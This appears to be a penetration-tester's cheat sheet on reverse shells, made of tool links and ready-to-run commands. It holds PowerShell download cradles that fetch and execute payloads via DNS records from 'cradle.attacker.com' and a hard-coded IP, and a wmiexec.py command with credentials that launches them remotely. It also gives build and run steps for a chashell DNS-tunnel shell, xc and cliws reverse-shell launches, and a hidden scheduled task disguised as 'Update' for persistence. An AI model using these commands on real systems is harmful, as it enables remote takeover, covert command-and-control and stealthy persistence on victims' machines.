Reverse Shells

• https://securixy.kz/hack-faq/reverse-shell-ili-bjekkonnekt.html/

• https://gist.github.com/daniruiz/c073f631d514bf38e516b62c48366efb

PowerShell

• https://github.com/besimorhino/powercat

• https://gist.github.com/staaldraad/8473da7f2dfed28b2216b15ca6ebad11

• https://github.com/tihanyin/PSSW100AVB/blob/main/ReverseShell_2022_03.ps1

Download Cradles

• https://gist.github.com/HarmJ0y/bb48307ffa663256e239

• https://github.com/danielbohannon/Invoke-CradleCrafter

• https://github.com/VirtualAlllocEx/Payload-Download-Cradles

PowerShell DNS Delivery

• https://www.mdsec.co.uk/2017/07/powershell-dns-delivery-with-powerdns/

• https://github.com/mdsecactivebreach/PowerDNS

'powershell $a=""""http://10.10.13.37/payload.txt"""";iex(Resolve-DnsName """"cradle.attacker.com"""" 16).Strings[0]'

wmiexec.py -silentcommand -nooutput megacorp.local/snovvcrash:'Passw0rd!'@PC01.megacorp.local 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe $url=""""http://10.10.13.37/run.ps1"""";iex(resolve-dnsname """"cradle.attacker.com"""" 16).strings[0];Invoke-RunPayload http://10.10.13.37/payload.txt'

Transport over DNS

• https://xakep.ru/2018/09/07/dns-tunneling/

• https://habr.com/ru/post/345056/

• https://habr.com/ru/company/group-ib/blog/496712/

dnscat2

• https://github.com/iagox86/dnscat2

• https://github.com/lukebaggett/dnscat2-powershell

chashell

• https://github.com/sysdream/chashell

Buy and configure DNS (e. g., example.com):

A * -> <IP>
A @ -> <IP>
A chashell -> <IP>
NS c -> chashell.example.com

Get dependencies:

$ export GOPATH=/home/user/code/go
$ export PATH=$GOPATH:$GOPATH/bin:$PATH
$ go get -v -u github.com/golang/dep/cmd/dep
$ go get github.com/mitchellh/gox
$ cd $GOPATH/src/github.com/golang/dep
$ go install ./...

Clone chashell into $GOPATH/src (otherwise, dep will error out):

$ git clone https://github.com/sysdream/chashell $GOPATH/src/chashell
$ cd $GOPATH/src/chashell

Build binaries:

$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))')
$ export DOMAIN_NAME=c.example.com
$ make build-all OSARCH="linux/amd64"

Run server on Attacker:

$ cd release/
$ sudo systemctl stop systemd-resolved
$ sudo ./chaserv_linux_amd64

Run client on Victim:

$ ./chashell_linux_amd64

Tools

• https://www.revshells.com/

• https://itm4n.github.io/tools/

VbRev

• https://github.com/VbScrub/VbRev

xc

• https://github.com/xct/xc

Listen:

$ rlwrap ./xc -l -p 443

Launch:

PS > Start-Process -NoNewWindow .\xc.exe "10.10.13.38 443"

cliws

• https://github.com/b23r0/cliws

Reverse mode:

$ rlwrap -cAr ./cliws -l 8000
Cmd > .\cliws.exe -r ws://10.10.13.37:8000 powershell

Create a scheduled task for persistence:

$ while true; do sudo netstat -tulpan | grep LISTEN | grep 8080 > /dev/null || rlwrap -cAr ./cliws -l 8080; done

$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1)
$settings = New-ScheduledTaskSettingsSet -Hidden -MultipleInstances Queue
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden C:\Windows\Tasks\cliws.exe -r ws://10.10.13.37:8080 powershell"
Register-ScheduledTask -TaskName "Update" -Trigger $trigger -Settings $settings -Action $action